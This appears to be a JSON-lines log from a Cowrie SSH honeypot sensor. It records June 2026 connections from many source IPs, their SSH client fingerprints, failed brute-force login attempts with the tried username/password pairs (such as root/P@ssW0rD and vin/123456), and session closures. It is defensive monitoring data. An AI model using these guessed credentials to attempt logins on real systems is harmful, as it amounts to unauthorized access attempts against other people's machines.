{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":43160,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6699ce31558","protocol":"ssh","message":"New connection: 160.251.185.39:43160 (10.17.0.5:22) [session: f6699ce31558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:49.264252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:49.273044Z","src_ip":"160.251.185.39","session":"f6699ce31558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:49.441554Z","src_ip":"160.251.185.39","session":"f6699ce31558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proxyuser","password":"qwerty","message":"login attempt [proxyuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:50.118503Z","src_ip":"160.251.185.39","session":"f6699ce31558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:51.290447Z","src_ip":"160.251.185.39","session":"f6699ce31558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":49416,"dst_ip":"159.203.135.109","dst_port":22,"session":"a05bfd5c9da9","protocol":"ssh","message":"New connection: 92.113.145.209:49416 (159.203.135.109:22) [session: a05bfd5c9da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:54.909106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:54.928068Z","src_ip":"92.113.145.209","session":"a05bfd5c9da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:55.035716Z","src_ip":"92.113.145.209","session":"a05bfd5c9da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xq","password":"123","message":"login attempt [xq/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:55.498545Z","src_ip":"92.113.145.209","session":"a05bfd5c9da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:08:56.608697Z","src_ip":"92.113.145.209","session":"a05bfd5c9da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":56584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3be900ac49a","protocol":"ssh","message":"New connection: 5.89.75.194:56584 (10.17.0.5:22) [session: a3be900ac49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:05.842965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:05.846864Z","src_ip":"5.89.75.194","session":"a3be900ac49a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:05.949093Z","src_ip":"5.89.75.194","session":"a3be900ac49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paris2026","message":"login attempt [root/Paris2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:06.392700Z","src_ip":"5.89.75.194","session":"a3be900ac49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:07.499769Z","src_ip":"5.89.75.194","session":"a3be900ac49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.32365417480469,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:08.558947Z","src_ip":"172.81.62.90","session":"bab4409356f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":33666,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ea95301229","protocol":"ssh","message":"New connection: 189.203.163.10:33666 (10.17.0.5:22) [session: 15ea95301229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:33.265386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:33.269982Z","src_ip":"189.203.163.10","session":"15ea95301229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:33.331814Z","src_ip":"189.203.163.10","session":"15ea95301229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ripe","password":"ripe123","message":"login attempt [ripe/ripe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:33.613305Z","src_ip":"189.203.163.10","session":"15ea95301229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:34.678186Z","src_ip":"189.203.163.10","session":"15ea95301229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.242.127","src_port":34916,"dst_ip":"159.203.135.109","dst_port":22,"session":"7434830cf93f","protocol":"ssh","message":"New connection: 118.145.242.127:34916 (159.203.135.109:22) [session: 7434830cf93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:41.265932Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1505,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a2a78375495","protocol":"ssh","message":"New connection: 102.88.137.80:1505 (10.17.0.5:22) [session: 4a2a78375495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:41.933170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:41.937092Z","src_ip":"102.88.137.80","session":"4a2a78375495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:42.120034Z","src_ip":"102.88.137.80","session":"4a2a78375495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rD","message":"login attempt [root/P@ssW0rD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:42.878581Z","src_ip":"102.88.137.80","session":"4a2a78375495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:44.186221Z","src_ip":"102.88.137.80","session":"4a2a78375495","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:49.273555Z","src_ip":"118.145.242.127","session":"7434830cf93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:49.277393Z","src_ip":"118.145.242.127","session":"7434830cf93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:49.283630Z","src_ip":"118.145.242.127","session":"7434830cf93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":43872,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc8aa008ba32","protocol":"ssh","message":"New connection: 79.104.0.82:43872 (10.17.0.5:22) [session: cc8aa008ba32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:54.086845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:54.091815Z","src_ip":"79.104.0.82","session":"cc8aa008ba32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:54.235186Z","src_ip":"79.104.0.82","session":"cc8aa008ba32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ltp","password":"ltp123","message":"login attempt [ltp/ltp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:54.840802Z","src_ip":"79.104.0.82","session":"cc8aa008ba32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:09:55.986641Z","src_ip":"79.104.0.82","session":"cc8aa008ba32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":51266,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb85ae68a314","protocol":"ssh","message":"New connection: 217.168.240.63:51266 (159.203.135.109:22) [session: bb85ae68a314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:16.095330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:16.101518Z","src_ip":"217.168.240.63","session":"bb85ae68a314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:16.234286Z","src_ip":"217.168.240.63","session":"bb85ae68a314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vin","password":"123456","message":"login attempt [vin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:16.800599Z","src_ip":"217.168.240.63","session":"bb85ae68a314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:17.936837Z","src_ip":"217.168.240.63","session":"bb85ae68a314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"54bcf3a0d890","protocol":"ssh","message":"New connection: 201.17.146.173:54504 (10.17.0.5:22) [session: 54bcf3a0d890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:32.221428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:32.226337Z","src_ip":"201.17.146.173","session":"54bcf3a0d890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":49606,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d0e5ae0051","protocol":"ssh","message":"New connection: 102.88.137.80:49606 (10.17.0.5:22) [session: c7d0e5ae0051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:33.057770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:10:33.061861Z","src_ip":"102.88.137.80","session":"c7d0e5ae0051","protocol":"ssh"}
